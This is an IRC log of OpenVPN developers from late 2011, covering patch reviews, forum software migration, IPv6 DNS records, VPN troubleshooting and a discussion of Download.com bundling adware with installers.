but it's coded differently and #if LINUX_IPV6 09:30 <@cron2> there's so much code duplication 09:30 <@dazo> yupp 09:30 <@cron2> one bit at a time 09:30 * cron2 sends ACK 09:31 <@dazo> thx! 09:31 <@dazo> I need to complete some ethical training stuff at work, and I'll ACK your win patch from yesterday and get it in 10:42 <@vpnHelper> RSS Update - testtrac: Fix bug after removing Linux 2.2 support <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=e7d1ac82f9a21ef91030e4f104d4ef0810b07f8e> || work around inet_ntop/inet_pton problems for MSVC builds on WinXP <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=53fb2c5c465ea97fccdc8be1823fff2616f08b50> 11:05 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Quit: mattock] 11:18 <@cron2> now he runs away... 14:31 -!- novaflash is now known as novaflash_away 16:24 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 258 seconds] 16:27 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 16:28 -!- mode/#openvpn-devel [+o raidz] by ChanServ 16:28 -!- dazo is now known as dazo_afk 17:48 -!- novaflash_away is now known as novaflash --- Day changed Sat Nov 26 2011 01:23 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 09:11 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Ping timeout: 248 seconds] 10:29 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 10:29 -!- mode/#openvpn-devel [+v krzee] by ChanServ 16:17 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 16:17 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 18:31 -!- novaflash is now known as novaflash_away 18:32 -!- novaflash_away is now known as novaflash --- Day changed Sun Nov 27 2011 10:18 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 11:20 <@ecrist> this clunky-ass phpBB needs to go 11:21 <@ecrist> I might start working on the new vB stuff tonight. 11:21 <@ecrist> we shall see. 11:26 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 11:26 -!- mode/#openvpn-devel [+o mattock] by ChanServ 14:50 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has joined #openvpn-devel 16:41 -!- Netsplit *.net <-> *.split quits: novaflash, dguerri 16:41 -!- Netsplit *.net <-> *.split quits: +krzie, SviMik 16:41 -!- krzie [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 16:41 -!- Netsplit over, joins: dguerri 16:41 -!- mode/#openvpn-devel [+v krzie] by ChanServ 16:45 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has joined #openvpn-devel 17:58 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 18:04 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 18:04 -!- mode/#openvpn-devel [+v krzee] by ChanServ 18:30 <@ecrist> my goal is to get the LDAP module for vB written (finished) this week, the vB devs have told me to fuck off with my requested hooks, so I'll work around that issue 18:30 <@ecrist> once I have LDAP properly supported, I'll work on the templates 18:31 <@ecrist> krzee, I know you don't like the default vB template, but, unless you come up with something better, I don't care. ;) 18:31 <@ecrist> I'm going to try to match, closely, the current phpBB template 18:31 <@ecrist> my goal is to lock phpBB and start anew in vB around first of the year. 18:36 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has quit [Quit: pIRC v2.2 < Personal IRC Team > http://ircworld.ru and http://xirc.ru/] 20:17 <+krzie> works for me, really jjk's input matters more than mine lately anyways 20:17 <+krzie> i havnt been very active on the forum for a bit 20:34 <@ecrist> jjk has given me no input to the forums to this point 20:35 <@ecrist> I'm tired of phpBB sucking balls 20:35 <@ecrist> I can't seem to stay logged in for more than 5 minutes 20:35 <+krzie> ya man i hate that 20:35 <@ecrist> and logging in as admin doesn't work, unless you know the right incantations 20:36 <+krzie> and clicking a link from vpnhelper kills your login cookie 20:36 <@ecrist> yup 20:36 <+krzie> im on board with the move 20:36 <+krzie> if it means that stuff works better, its a nice upgrade 20:37 <@ecrist> the idea is things work perfectly 20:37 <@ecrist> I've really like vB for the other forum I manage, but it's not as big as openvpn, and we don't use ldap on the back end. 20:37 <+krzie> thats a nice idea =] 20:38 <+krzie> which one is free and which one costs 20:38 <+krzie> i forget 20:38 <@ecrist> vB costs 20:38 <@ecrist> phpBB is free --- Day changed Mon Nov 28 2011 02:09 -!- dazo_afk is now known as dazo 04:47 -!- dazo is now known as dazo_afk 07:21 -!- dazo_afk is now known as dazo 14:52 -!- dazo is now known as dazo_afk 16:25 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 23:10 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 23:10 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Log closed Tue Nov 29 00:04:38 2011 --- Log opened Sat Dec 03 22:00:48 2011 22:00 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 22:00 -!- Irssi: #openvpn-devel: Total of 18 nicks [8 ops, 0 halfops, 2 voices, 8 normal] 22:00 -!- Irssi: Join to #openvpn-devel was synced in 1 secs 22:01 < ecrist> mattock - please create an ipv6-only hostname for community.openvpn.net (ipv6.community.openvpn.net or community6.openvpn.net) 22:02 < ecrist> apple thinks they're smarter than everyone and sensibly uses routing metrics to determine whether to use IPv4 or IPv6 though they don't allow people to specify a preference in Lion --- Day changed Sun Dec 04 2011 00:08 < EugeneKay> Here's my wiki writeup: https://community.openvpn.net/openvpn/wiki/UnprivilegedUser 00:08 <@vpnHelper> Title: UnprivilegedUser – OpenVPN Community (at community.openvpn.net) 02:15 <@cron2> ecrist: yeah, apple suck in that regard 03:18 <@mattock> ecrist: raidz can do that 03:21 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 04:59 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 04:59 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 05:00 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 05:04 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Ping timeout: 248 seconds] --- Log closed Sun Dec 04 07:46:52 2011 --- Log opened Sun Dec 04 08:25:42 2011 08:25 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 08:25 -!- Irssi: #openvpn-devel: Total of 13 nicks [5 ops, 0 halfops, 2 voices, 6 normal] 08:25 -!- Irssi: Join to #openvpn-devel was synced in 0 secs 08:26 < ecrist> cron2: they changed it in Lion, before you could choose the protocol 08:32 < ecrist> I'm going to work on the LDAP stuff for vB TODAY. Hoping to get it done TODAY. Then I can work on tweaking colors and such in vB 08:32 < ecrist> still aiming for a first of the year switch. 09:03 -!- jamxNL [jamx@2a01:4f8:140:5243::1234] has joined #openvpn-devel 10:02 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 10:23 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 10:24 -!- mode/#openvpn-devel [+v krzee] by ChanServ 10:29 < ecrist> hola, krzee 11:32 <@cron2> ecrist: (regarding macos) - yeah, I'm aware of their interpretation of happy eyeballs, and not very happy with it 11:33 * cron2 wants deterministic behaviour in networks, not random ipv4-ipv6 flip-flopping 11:39 < ecrist> I agree. 11:39 < ecrist> my idea of getting an ldap plugin done in one day was a bit optimistic, I think. 11:40 < ecrist> at least, if I want it maintainable 11:40 < ecrist> doing everything I can to avoid actually modifying the vB code, and using their plugin/product system 11:41 < ecrist> they have 1161 code hooks, none of them documented save the hook name 11:41 < ecrist> *shrug* oh well 11:49 <+krzee> hola ecrist 13:10 < ecrist> what you up to today krzee? 13:17 < ecrist> well, I'm out for a while. Need to work on the next step to reload my rifle cartridges. 13:17 < ecrist> sliced my hand wide open friday night working on them. 13:18 < ecrist> I put the casings in a drill to deburr the case opening, something got wedged, the case opening cut a nice hole into the palm of my hand about 1/4" deep 13:28 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 13:28 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 13:29 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has left #openvpn-devel [] 14:10 <+krzee> ecrist, not much man bout to go to work 14:19 <+krzee> damn dude, hope your hand heals well 14:20 <+krzee> ild say to be careful, but at this point thats a dumb statement... i think you know ;] 14:49 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 17:34 < ecrist> ping mattock/raidz 17:40 -!- Irssi: #openvpn-devel: Total of 13 nicks [5 ops, 0 halfops, 1 voices, 7 normal] 17:40 < ecrist> I keep getting disconnected from the community openvpn server 18:25 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 18:25 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 20:02 -!- EugeneKay [eugene@itvends.com] has left #openvpn-devel ["Leaving"] --- Day changed Mon Dec 05 2011 01:15 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Read error: Connection reset by peer] 02:32 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:32 -!- mode/#openvpn-devel [+o mattock] by ChanServ 04:38 <@vpnHelper> RSS Update - testtrac: Don't look for 'stdin' file when using --auth-user-pass <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=870cf166add7ea0aa15c9d12b7916e669a9f441f> 04:43 -!- dazo_afk is now known as dazo 07:44 <@mattock> hmm, caught a Trac spammer 07:44 <@mattock> did not even manage to put spam on Trac, pretty pathetic 07:44 <@mattock> it's not that difficult, if you got a user account 07:45 <@mattock> disabled that user 07:52 <@vpnHelper> RSS Update - tickets: #181: Trac test ticket <https://community.openvpn.net/openvpn/ticket/181> 07:57 <@mattock> cron2: the trac comment submit problem seems to be related 07:57 <@mattock> to smtp notifications 07:58 <@mattock> which is kind of strange, because postfix on community 07:58 <@mattock> works just fine 07:58 <@mattock> but I'll debug it further 07:58 <@mattock> ah yes... now I see 08:13 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 08:16 < ecrist> mattock: problems with the vpn 08:16 < ecrist> I keep getting disconnected 08:16 <@mattock> hmm 08:16 <@mattock> cn=ecrist? 08:17 < ecrist> aye 08:17 <@mattock> lemme check, just fixed an issue on community 08:17 <@andj> ecrist: wow, hope your hand heals up ok 08:18 < ecrist> thanks. me to 08:19 <@mattock> ecrist: what happened? 08:19 <@mattock> with the hand 08:19 < ecrist> 13:17:22 < ecrist> well, I'm out for a while. Need to work on the next step to reload my rifle cartridges. 08:19 < ecrist> 13:17:39 < ecrist> sliced my hand wide open friday night working on them. 08:19 < ecrist> 13:18:22 < ecrist> I put the casings in a drill to deburr the case opening, something got wedged, the case opening cut a nice hole into the palm of my hand about 1/4" deep 08:21 <@mattock> ah, nasty! 08:21 <@mattock> I got cuts almost every time I do wood- or metalwork 08:21 <@mattock> usually not that bad, though 08:21 <@mattock> s/got/get/1 08:21 < ecrist> me too, I usually don't know about the cuts until the wife points them out to me 08:22 < ecrist> this time was different 08:22 <@andj> Hmm, think I'll stick to software :) 08:22 <@mattock> well, one time I almost blinded my other eye when bowstring's center serving 08:22 <@mattock> flew to my eye 08:22 <@mattock> I got a pic, lemme find it 08:27 <@mattock> not exactly a high-quality picture, but you get the point: http://users.utu.fi/sjsepp/paja/making_bowstrings/nearly_popeye.jpg 08:28 <@mattock> "don't do this at home, kids" 08:28 <@andj> ouch... 08:29 <@mattock> anyways, luckily I had glasses which ricocheted the serving upwards 08:30 < ecrist> ouch 08:30 <@mattock> ecrist: when / how often do you get disconnected? 08:30 <@mattock> I got shooting glasses nowadays 08:30 < ecrist> mattock, it simply claims I'm connected and then restarts over and over and over 08:30 <@mattock> ah, ok 08:30 <@mattock> can you try connecting now? 08:30 < ecrist> http://pastebin.com/8X0y3dXY 08:32 <@mattock> TLS Error: TLS key negotiation failed to occur within 60 seconds (check your network connectivity) 08:32 <@mattock> does the tls auth key have proper permissions? 08:32 <@mattock> also, what's it's sha1sum (or md5sum) 08:32 <@andj> O 08:32 <@andj> Oops 08:36 < ecrist> mattock: should I be connectint to the ldap server for the vpn now? 08:36 <@mattock> yes 08:37 <@mattock> keys and all should be the same 08:37 <@mattock> as with community 08:37 < ecrist> see, it says I'm connected now 08:37 < ecrist> but I'll get disconnected in a moment 08:37 < ecrist> good connection: http://pastebin.com/EmsjiiBc 08:40 <@mattock> do you have the same username in use on two different computers? 08:40 <@mattock> that would explain it 08:41 <@mattock> I had that issue once... man that was nasty to figure out 08:41 <@mattock> obvious in hindsight, though 08:43 < ecrist> no, I only ever connect from my laptop 08:43 < ecrist> http://pastebin.com/3Hn1PDQh 08:44 <@mattock> ecrist: I get these to server logs: ecrist/<your-ip>:<port> Bad LZO decompression header byte: 42 08:45 <@mattock> tons and tons 08:45 <@mattock> and only for you 08:50 <@mattock> I recall there being some confusion in server/client side lzo directives 08:50 < ecrist> I have it turned off, I think. 08:50 < ecrist> I'll look into it later. 08:51 < ecrist> what's the path to the log file? 08:51 <@mattock> could you try adding comp-lzo to your config? 08:51 <@mattock> /var/log/daemon.log 08:51 < ecrist> I forgot I have shell on that box, so I can fix it my damn self. :) 08:51 < ecrist> thanks. 08:51 <@mattock> yeah :D 08:51 <@dazo> if the server doesn't have --comp-lzo in the config .... the clients should not have it ... otherwise they must have it 08:52 <@mattock> ecrist: let me know when you've done the changes on the server 08:54 <@mattock> any experiences with mid-range lenovo thinkpad laptops? 08:54 <@mattock> I'm thinking of buying Lenovo Thinkpad L520 or something similar 09:28 <@dazo> I've mostly have experience with T and X series, and I'm very much satisfied with them .... Got a X201 as a work laptop with 9cell battery 09:28 <@dazo> the L series I don't know anything about now 09:29 <@dazo> however, try to stay clear of the nvidia gpu chipset if you're planning on running Linux on it ... their driver works pretty well, if you run supported kernels .... and they're not too keen on fixing things 09:30 <@dazo> (their kernel driver is basically a firmware loader ... which loads a 12MB binary firmware blob) 09:37 <@mattock> yeah, I avoid both ATI and NVIDIA because of the binary blob crap 09:38 <@andj> the intel driver has its issues too though 09:38 <@mattock> I got an old Thinkpad T42, too, which I like 09:38 <@andj> at least it used to on Ubuntu 10.04 LTS, haven't tried it in a while 09:38 <@andj> had some trouble waking up from sleep 09:39 <@mattock> yep, intel is not perfect, either... have one on my primary computer 09:39 <@mattock> but less bad than having to fiddle with proprietary drivers all the time 09:41 <@dazo> the Intel driver got issues, but the driver is mostly opened ... ATI isn't that bad on openness (compared to nvidia), however not as open as Intel 09:42 <@dazo> I mostly get issues with the Intel chip now if I disconnect the external screen while having the lid closed .... sometimes Xorg gets all black ... but CTRL-ALT-Fx takes me to a readable console 09:43 <@dazo> but I do suspend and hibernate pretty fine (I'm on Fedora 14) 09:50 <@mattock> on my intel gma macbook it's always on "Ubuntu/Debian version n suspend works but hibernate does not", 09:50 <@mattock> and on n+1 it's vice versa... and that repeats forever 09:50 <@mattock> I think only once both worked at the same time 09:50 <@mattock> and that's since late 2006 10:14 <@andj> mattock 10:14 <@andj> oops 10:15 <@andj> mattock: sounds familiar 10:15 <@andj> My enter key is too close to my shift key 10:18 < ecrist> We've had bad luck lately with Lenovo 10:18 < ecrist> mattock - I'm not going to make any changes to the server. 11:13 -!- dazo is now known as dazo_afk 11:24 <@mattock> ecrist: ok 11:24 <@mattock> don't want puppet to overwrite your changes (if any) 11:54 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 258 seconds] 12:02 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 12:02 -!- mode/#openvpn-devel [+o raidz] by ChanServ 12:18 -!- d12fk [~heiko@exit0.net] has joined #openvpn-devel 12:18 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 12:19 <@d12fk> is someone using --capath / does a test env exist for that? I dug around the openssl source code but was not able to find the place where the certs are actually used in openvpn 12:23 <@d12fk> it's a rather strange feature, so expect not 12:23 <@d12fk> mattock: can you find out with james? 12:24 <@mattock> d12fk: you could try mailing james at openvpn dot net 12:24 <@mattock> I don't think he responds any better/quicker to me :) 14:36 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 14:36 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Tue Dec 06 2011 01:39 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Ping timeout: 248 seconds] 03:25 <@d12fk> mattock: ok i'll try 03:59 <@d12fk> ah --capath was a patch from mathias andrea during the everlasting 2.1 beta 04:02 <@d12fk> hm close (my brain is damaged from reading openssl): 04:02 <@d12fk> r621 | james | 2005-10-15 09:21:39 +0200 (Sat, 15 Oct 2005) | 4 lines 04:02 <@d12fk> Merged --capath patch (Thomas Noel). 04:02 <@d12fk> svn merge -r 616:617 $SO/patches/2.0.x-r599-capath/openvpn 04:02 <@d12fk> Pre-2.1_beta3 04:02 <@d12fk> is thomas still around? 04:52 -!- dazo_afk is now known as dazo 05:36 <@dazo> d12fk: I don't think so ... but JJK knows something about how to use --capath 05:36 <@dazo> IIRC, He wrote about it in his OpenVPN Cookbook 05:37 -!- dazo is now known as dazo_afk 07:04 <@d12fk> i found the thread the patch originated from 07:04 <@d12fk> http://thread.gmane.org/gmane.network.openvpn.devel/1026 07:04 <@d12fk> seems it's mainly crl business 07:05 <@d12fk> i was only looking at the certs, let's check if the crls are used 07:25 <@d12fk> hm the code paths meet at ssl3_accept for the server side 08:59 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 08:59 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 12:03 < ecrist> ping raidz 12:04 -!- novaflash [~novaflash@openvpn/user/novaflash] has joined #openvpn-devel 12:04 < ecrist> did you see the request by me for a couple IPv6-specific host names for forums, ldap, and community? 12:05 <@raidz> hey ecrist 12:05 <@raidz> no, didn't 12:05 <@raidz> was this e-mail or irc? 12:05 < ecrist> here, irc 12:06 < ecrist> regardless, can you create a few ipv6-only domain names for those three hostnames? 12:06 <@raidz> gotcha, So you need some aaaa records? 12:06 < ecrist> maybe community6, ldap6, forums6? 12:06 <@raidz> sure 12:06 < ecrist> something that doesn't have an A record, just AAAA 12:06 <@raidz> gotcha, yeah 12:06 <@raidz> can you give me the ipv6 ips of those machines? 12:06 < ecrist> Mac OS X Lion uses routing metrics now to determine protocol version, and doesn't allow me to specify a protocol 12:07 < ecrist> ldap doesn't have one at this point, I think, so we might need to get one allocated 12:07 < ecrist> forums.openvpn.net has IPv6 address 2607:f0d0:1001:14::3 12:07 < ecrist> community.openvpn.net has IPv6 address 2607:f0d0:1001:14::2 12:10 <@raidz> done 12:10 <@raidz> forums6 and community6 12:10 < ecrist> also, can either you or mattock use dia to come up with a network diagram of the openvpn community infrastructure, and post the .dia and a .png to the community wiki, but only allow admins to view it? 12:10 <@raidz> will talk to samuli about ipv6 for ldap 12:10 < ecrist> it would help me troubleshoot issues when they crop up 12:10 <@raidz> Sounds good to me ecrist, I will discuss that with him as well 12:11 < ecrist> thank you, sir 12:11 <@raidz> no probs! 12:11 <@raidz> it might take a little bit for those records to propagate, but they are added 12:11 < ecrist> they're public now 12:11 <@raidz> cool, always nice when it is a fresh record 12:16 < novaflash> what's dia? 12:17 < novaflash> i know of diagram.ly 12:32 < ecrist> novaflash, try google 12:34 <@raidz> lol 12:47 < novaflash> google? 12:47 < novaflash> what's google? 12:47 < novaflash> eh never mind, i used something better; raidz 12:48 <@raidz> :-p 12:50 * ecrist looks around for his ban-hammer 12:52 <@raidz> lol 15:12 * krzie hands ecrist his ban-hammer 17:05 -!- novaflash is now known as novaflash_away 22:24 -!- cron2 [~gert@openvpn/community/developer/cron2] has quit [Ping timeout: 260 seconds] --- Day changed Wed Dec 07 2011 01:40 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 01:40 -!- mode/#openvpn-devel [+o cron2] by ChanServ 01:40 <@cron2> moin 02:50 -!- novaflash_away is now known as novaflash 03:27 -!- dazo_afk is now known as dazo 05:39 <@dazo> mattock: http://seclists.org/nmap-hackers/2011/5 ... maybe we should try to remove the OpenVPN GUI they provide on download.com? (it's anyway way old) 05:39 <@vpnHelper> Title: Nmap Hackers: C|Net Download.Com is now bundling Nmap with malware! (at seclists.org) 05:40 <@dazo> (by the way, look at the end of that mail ... if openvpn's (outdated) installer is also hit by this, maybe openvpn tech can join forces with nmap? 05:44 <@dazo> <hyper_ch> dazo: you might want to check it out 05:44 <@dazo> * hyper_ch firing up VM 05:44 <@dazo> <hyper_ch> dazo: they also use the wrapper 05:44 <@dazo> mattock: ^^^ 05:51 <@mattock> dazo: good idea -> todo 05:57 <@dazo> "Dec 5: Gerald Combs, project leader for the popular Wireshark protocol analyzer, sent a cease-and-desist letter to CNET and they removed the rogue installer (only for his software). He's the one who notified Fyodor about this rogue CNET behavior in the first place. " ... looks like that's what we need to do in the first place 05:57 <@dazo> (http://insecure.org/news/download-com-fiasco.html) 05:57 <@vpnHelper> Title: Download.Com Caught Adding Malware to Nmap & Other Software (at insecure.org) 07:21 < ecrist> well, wireshark is still on the cnet site 07:21 < ecrist> "Added on 11/18/2011" 07:24 <@dazo> with the cnet installer? Or the proper installer? 07:24 <@dazo> I think cnet just restored the original installer 07:24 < ecrist> I haven't looked that far into it 07:25 <@dazo> if the installer is named cnet_* ... then it's the nasty one 07:33 < ecrist> it's just named wireshark-win32-1.6.4 07:33 < ecrist> neat, it appears to be the original installer. 07:34 <@dazo> yeah ... that's what cnet does when you complain .... 07:34 < ecrist> gah, and the most recent copy of openvpn they have is 2.1b7 07:34 <@dazo> mm 07:34 <@dazo> with the malware 07:35 < ecrist> yep 07:50 < ecrist> dazo - that rommel guy has a fairly lengthy troll history 07:50 < ecrist> uses lots of different, similar, nicknames 07:50 < ecrist> I'm guessing he has to work hard avoiding bans 07:51 <@dazo> yeah ... 07:51 <@dazo> and asking absolutely questions which could be asked in google annoys me most of all 08:37 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 255 seconds] 08:38 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 08:38 -!- mode/#openvpn-devel [+o mattock] by ChanServ 09:47 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 248 seconds] 11:17 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 11:17 -!- mode/#openvpn-devel [+o mattock] by ChanServ 11:20 <@cron2> so. cnet's misbehaviour google-plus-ed 11:22 <@dazo> cnet will need to rethink their strategy here ... it's a lot of negative creds on the net nowadays .... 11:32 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Read error: Connection reset by peer] 11:48 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 11:48 -!- mode/#openvpn-devel [+o raidz] by ChanServ 12:00 <@d12fk> patches everybody! 12:08 <@dazo> cool! 12:09 * dazo curses Microsoft for yet again preferring something else than what the "rest" of the world decided on - UTF-8 13:01 < novaflash> so cnet really blew it. nasty. 13:24 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Read error: Connection reset by peer] 13:25 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 13:26 -!- mode/#openvpn-devel [+o raidz] by ChanServ 13:29 <@mattock> maybe it's best not to attract attention to OpenVPN or the GUI on cnet... otherwise they might update 13:29 <@mattock> to a recent and usable versions :P 13:29 <@mattock> attract attention by trying to get OpenVPN* removed 13:31 <+krzee> cnet may not need to rethink now, at this point they prolly already created the damage, now if they undo that they stop recieving the benefits and also already did the damage 13:31 <+krzee> since they already screwed the pooch they might as well collect what they can from it, at this point 13:36 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Read error: Connection reset by peer] 13:37 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 13:37 -!- mode/#openvpn-devel [+o raidz] by ChanServ 13:38 <@andj> I'm pretty disappointed in that though 13:46 <@d12fk> how was cnet useful again? i forgot about it. i think they were the shit in 1997 when finding software was really hard, what hav they done since then besides becoming evil? =) 13:46 <@d12fk> i think they shar the fait with tocows =) 13:46 <@andj> guess their problem is that they haven't found a proper business model, so decided to go rogue 13:47 <@andj> tucows... that was the bomb :) 13:47 <@andj> back when the phrase "the bomb" was still the bomb :) 13:47 <@d12fk> haha 13:48 <+krzee> lol 13:49 <@d12fk> but piggy backing on other ppls software and forcing useless toolbars on stupid ppls pcs.. hows that a business model? 13:49 <+krzee> {mal,spy}ware business model 13:50 <@d12fk> is it really such *ware or just agressive product placement for M$ 13:50 <@d12fk> who'd use bing without being forced 13:51 <+krzee> well it adds a toolbar thats purpose is to catch your search phrases and control what you may see as results... in hopes that people dunno wtf they're doing and become an asset 13:51 <+krzee> so in a way you could almost say yes, but really no because it really is all opt-in 13:52 <+krzee> well, opt-out optional rather 13:52 <@d12fk> show me a user who opts out and i show you a power user =) 13:54 <+krzee> exactly 13:54 <+krzee> and thats the business model 13:55 <+krzee> then some kid (like me yrs ago) can go charge people $50-$100 to clean out that shit and make the computers fast again 13:55 <+krzee> (per hr) 13:58 * cron2 hates this toolbar crap. every stupid software and their dogs brings it, like "java". wtf. 13:59 <@mattock> who wouldn't like things like BonzyBuddy? 13:59 <@mattock> the friendly helper ape 13:59 <@mattock> that just happened to do something nasty behind your back 13:59 <@mattock> http://en.wikipedia.org/wiki/BonziBUDDY 14:00 <@vpnHelper> Title: BonziBUDDY - Wikipedia, the free encyclopedia (at en.wikipedia.org) 14:02 <@andj> But, but... He talks, he e-mails, he browses! 14:53 <@d12fk> wasnt bonzibuddy a parrot?! I recall trying it decades ago 14:53 <@d12fk> just for the lulz having it read german texts, impress neighbors, such 14:55 <@d12fk> ah "In 1999, the software used a green parrot called Peedy" 14:55 <@d12fk> just a little more than a decade but ages away 14:56 <@d12fk> damn were masters of adaption, cant count how often the world changed it these couple of years 17:16 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 17:19 * dazo wonders how the **** MS is able to sell such a crappy C compiler as is provided in VS 18:36 -!- dazo is now known as dazo_afk 22:02 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 22:02 -!- mode/#openvpn-devel [+v krzee] by ChanServ 23:33 -!- jamxNL [jamx@2a01:4f8:140:5243::1234] has quit [Ping timeout: 252 seconds] --- Day changed Thu Dec 08 2011 00:48 <@andj> dazo: their official reaction is: "Our customers are only interested in C++" 01:56 <@mattock> d12fk: it was a parrot in the first version, then it became a violet ape 03:17 -!- dazo_afk is now known as dazo 03:36 <@dazo> andj: heh, well somehow, I'm not sure the C++ compiler is that much better ...... :-P 06:13 <@dazo> d12fk: Regarding patch order of unicode stuff and the access() ... the access() patches are crucial to get Windows compiling working again, so if don't mind, I would appreciate if we could get the access() stuff in first .... and the unicode stuff in Windows is something I definitely don't know much about .... just see how these last windows patches are bashed around ;-) 06:14 * dazo wonders where his two last patches to the ML went .... 06:36 <@d12fk> dazo: ok 06:47 <@cron2> dazo: I think Alon just ACKed your access() patch :-) 06:47 <@cron2> dazo: add an ACK from me 06:47 <@dazo> He did! 06:47 <@cron2> indeed, this is quite nice :-) 06:47 <@dazo> I'm just wondering where my original mails went ... seems they have been blocked somewhere ... 06:48 <@dazo> Alon might have gotten it as he was on explicit Cc 06:50 <@cron2> maybe you've hit the spam filter for bulk mailing 06:50 <@cron2> or for "too much windows" content 06:58 <@dazo> hehe ... I fear for the first, but hope for the last :) 06:58 <@dazo> I'll try to resend the patches ... via a different SMTP relay 07:01 <@dazo> (lets see if that changes things) 07:02 <@dazo> crap! 07:02 <@dazo> arg! the same mail went twice, in different version 07:02 <@dazo> s 07:40 <@dazo> cron2: have you seen the v2 patch of the basename()/dirname() patch? http://thread.gmane.org/gmane.network.openvpn.devel/5178/focus=5198 07:40 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 07:40 <@cron2> yep, arrived here. 07:40 <@cron2> wondering whether it might make sense to just use the functions from glibc, though 07:40 <@cron2> (which Alon posted) 07:42 <@cron2> our dirname is not *really* complete, and will do intersting things for names with no "/" in them 07:42 <@dazo> oh, I have obviously not read his complete mail carefully enough 07:42 <@cron2> like "put a 0-byte in the memory location before the start of *path" 07:42 <@cron2> + ret = path; 07:42 <@cron2> + *(ret-1) = 0; 07:42 <@cron2> + return path; 07:42 <@cron2> mmmh. 07:43 <@cron2> do I need to send a NAK on this? 07:43 <@dazo> :) 07:44 <@dazo> ouch! 07:44 <@dazo> I completely missed that 07:44 <@dazo> true ... if input is "." ... it will backfire 07:45 <@dazo> I'll make a v3 version then .... and dig up some references from glibc 07:46 <@cron2> I wouldn't have thought of these cases, but reading through the glibc version Alon sent, with all the special cases they have... 07:46 <@cron2> basename() is dirt simple, but dirname() has nastiness 07:48 <@dazo> yeah 07:48 <@dazo> Who would have thought :) 07:48 <@dazo> But I also agree checking for both / and \ ... no matter platform 07:49 <@dazo> As parts of the code already accepts both variants as well 07:50 <@dazo> and there's also more fun .... as in Windows, you might even have escaped paths ... C:\\path\\file.txt 07:51 <@cron2> baaah 08:01 <@dazo> wohoo! glibc is in git :) 08:06 <@cron2> nice 08:36 <@mattock> forgot to ask, but do we want a meeting today? 08:36 <@cron2> it might be useful to realign - and next week I won't be able to make it 08:36 